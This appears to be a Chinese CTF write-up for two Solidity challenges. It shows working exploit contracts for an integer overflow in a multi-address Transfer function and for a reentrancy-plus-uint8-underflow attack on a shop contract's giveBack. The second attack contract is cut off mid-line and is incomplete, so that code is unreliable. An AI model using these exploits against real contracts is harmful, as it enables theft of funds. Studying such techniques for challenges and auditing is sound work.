先给出源码
// solidity
pragma solidity ^0.4.23;
contract Trans{
string flag;
mapping(address => uint256) balances;
constructor () public {
}
function getBalance() public returns (bool){
balances[msg.sender] = 100;
return true;
}
function showBalance() public view returns (uint256){
return balances[msg.sender];
}
function Transfer(address[] _addr, uint256 _value) public returns (bool){
uint times = _addr.length;
uint256 amount = uint256(times) * _value;
require(_value > 0 && balances[msg.sender] >= amount);
require(times > 0 && times < 10);
balances[msg.sender] -= amount;
for(uint i = 0; i < times; i++){
balances[_addr[i]] += _value;
}
return true;
}
function getFlag() public view returns (string){
require(balances[msg.sender] > 9999999);
return flag;
}
}
根据题目要求,我们的目标是要将balances[msg.sender] 达到9999999以上从而获得flag
从中我们可以看到代码段
uint256 amount = uint256(times) * _value;
在转账操作中,由于times和value都由我们控制,因为并没有对value进行限制,我们可以考虑通过整数溢出达到足够大的数,可以使times为2,value为uint256最大值除2再加一,这样amount结果还是为2,而value却已经使一个相当大的整数了,攻击合约如下
contract hsqGOD{
address add=0x421DbB4ca0Fdb1872e5780BD95743085357CD7B8;
Trans target=Trans(add);
function flag()public view returns (string){
return target.getFlag();
}
function bal(){
target.getBalance();
}
function showBalance()public view returns (uint256){
return target.showBalance();
}
function t(address[] _addr, uint256 _value){
target.Transfer(_addr, _value);
}
}
我们只需要建立三个合约,一个合约获取100个代币,通过上述操作将钱转给另外两个合约即可
这题同样给出了源码
// solidity
pragma solidity ^0.4.23;
contract XiaoMaiBu{
string flag;
mapping (address => uint256) credit;
struct good{
string name;
uint256 value;
}
mapping (uint8 => good) goods;
mapping (address => mapping(uint8 => uint8))users;
event Transfer(address from, address to, uint256 value);
constructor(){
// flag = WHAT_YOU_WANT;
credit[this] = 2 ** 255;
// Taqini has a lot if money~
}
function getCredit(address who) public view returns (uint256){
return credit[who];
}
function getFlag() public view returns (string){
if(users[msg.sender][5] >= 1){
return flag;
}
else{
return "%e7%88%ac%ef%bc%81";
}
}
function buy(uint8 index) public returns (bool){
require(index <= 5 && index >= 0);
uint256 cost = goods[index].value;
require(cost > 0);
require(getCredit(msg.sender) >= cost);
require(getCredit(msg.sender) - cost >= 0);
credit[msg.sender] -= cost;
users[msg.sender][index] += 1;
return true;
}
function giveBack(uint8 index) public returns (bool){
require (index <= 5);
require (users[msg.sender][index] > 0);
uint256 price = goods[index].value;
require (address(this).balance > price);
if(price > 10000 wei){
price = 1 wei;
// 中间商 Taqini 赚差价~
}
msg.sender.call.value(1)();
users[msg.sender][index] --;
transfer(this, msg.sender, price);
}
function giveAllBack(uint8 index) public returns (bool){
require (index <= 5);
uint8 number = users[msg.sender][index];
require (number > 0);
require (users[msg.sender][index] - number == 0);
uint256 amount = goods[index].value * number;
require (amount >= goods[index].value);
// 钱都被 Taqini 黑走啦,快去打他!
users[msg.sender][index] = 0;
transfer(this, msg.sender, amount);
}
function deposit() public payable returns (bool){
if(msg.value > 1 ether){
// 多谢大佬打赏 XD
return true;
}
else{
require(msg.value == 1 wei);
require(getCredit(msg.sender) == 0);
transfer(this, msg.sender, 1);
return true;
}
}
function showGoods(uint8 index) public view returns (string, uint256){
require(index <= 5);
return (goods[index].name, goods[index].value);
}
function getBalance() public view returns (uint256){
return address(this).balance;
}
function getMyGood(uint8 index) public view returns (uint8){
require(index <= 5);
return users[msg.sender][index];
}
function transfer(address from, address to, uint256 value) internal returns (bool){
require(to != address(0x0));
require(value > 0);
uint256 oldFromBalance = credit[from];
uint256 oldToBalance = credit[to];
uint256 newFromBalance = credit[from] - value;
uint256 newToBalance = credit[to] + value;
require(oldFromBalance >= value);
require(newToBalance > oldToBalance);
credit[from] = newFromBalance;
credit[to] = newToBalance;
assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(from, to, value);
}
}
这题呢就比较长了,着实像片英语阅读,我们先来分析一下逻辑,我们有这些操作,取一个币,买一个特定商品,卖一个特定商品,卖出全部同一类型商品,然后我们必须要有第五种商品才能获得flag,来看看这种商品的价钱,有点小大好吧,现在来分析一下代码,首先如果你比较熟悉智能合约的话,可以很敏锐的发现这行代码
msg.sender.call.value(1)();
这行代码的作用很简单,就是给msg.sender转1wei代币,但是它有一个很关键的一点,会调用msg.sender合约的回退函数fallback(),意思就是说我们可以使用重入攻击,对这个想要深入了解的话可以进行百度查询,这里就不详细解释了。就可以通过这样的方式,我们可以自行修改攻击合约的fallback函数,以同样的状态再次进入这个函数,然后我们又发现了下面一行的代码
users[msg.sender][index] --;
这里同样是没有进行溢出检测,如上题所述的那样,如果本来是0的话,再减1就会变成uint8最大的数,也就是负整数溢出。通过这样的手段,重入攻击加负整数溢出,我们可以将一件商品giveBack(),换成是250多份同样的商品,不断重复这样的手段,最终获得第五份商品,下面给出攻击合约的代码
// An highlighted block
contract hsq{
XiaoMaiBu target=XiaoMaiBu(0x0435EE06Ae7742f7f421e33220166FC9828e106E);
address add=0x0435EE06Ae7742f7f421e33220166FC9828e106E;
uint256 attackCount=0;
uint256 i=10;
uint8 num=0;
function changei(uint256 mmm,uint8 number){
i=mmm;
num=number;
attackCount=0;
}
function() payable{
if(msg.sender==add&&attackCount
记得合约交互的时候,每进行购买下一件商品,需要调整fallback函数的参数,需要调用另外的函数修改。当然这题有点恶心人的就是这里
if(price > 10000 wei){
price = 1 wei;
// 中间商 Taqini 赚差价~
}
这个代码就会使后面每一步都要重复一次,因为一次攻击卖出的钱,被黑了一部分无法直接购买下一件商品了,这就有点想爆锤出题人了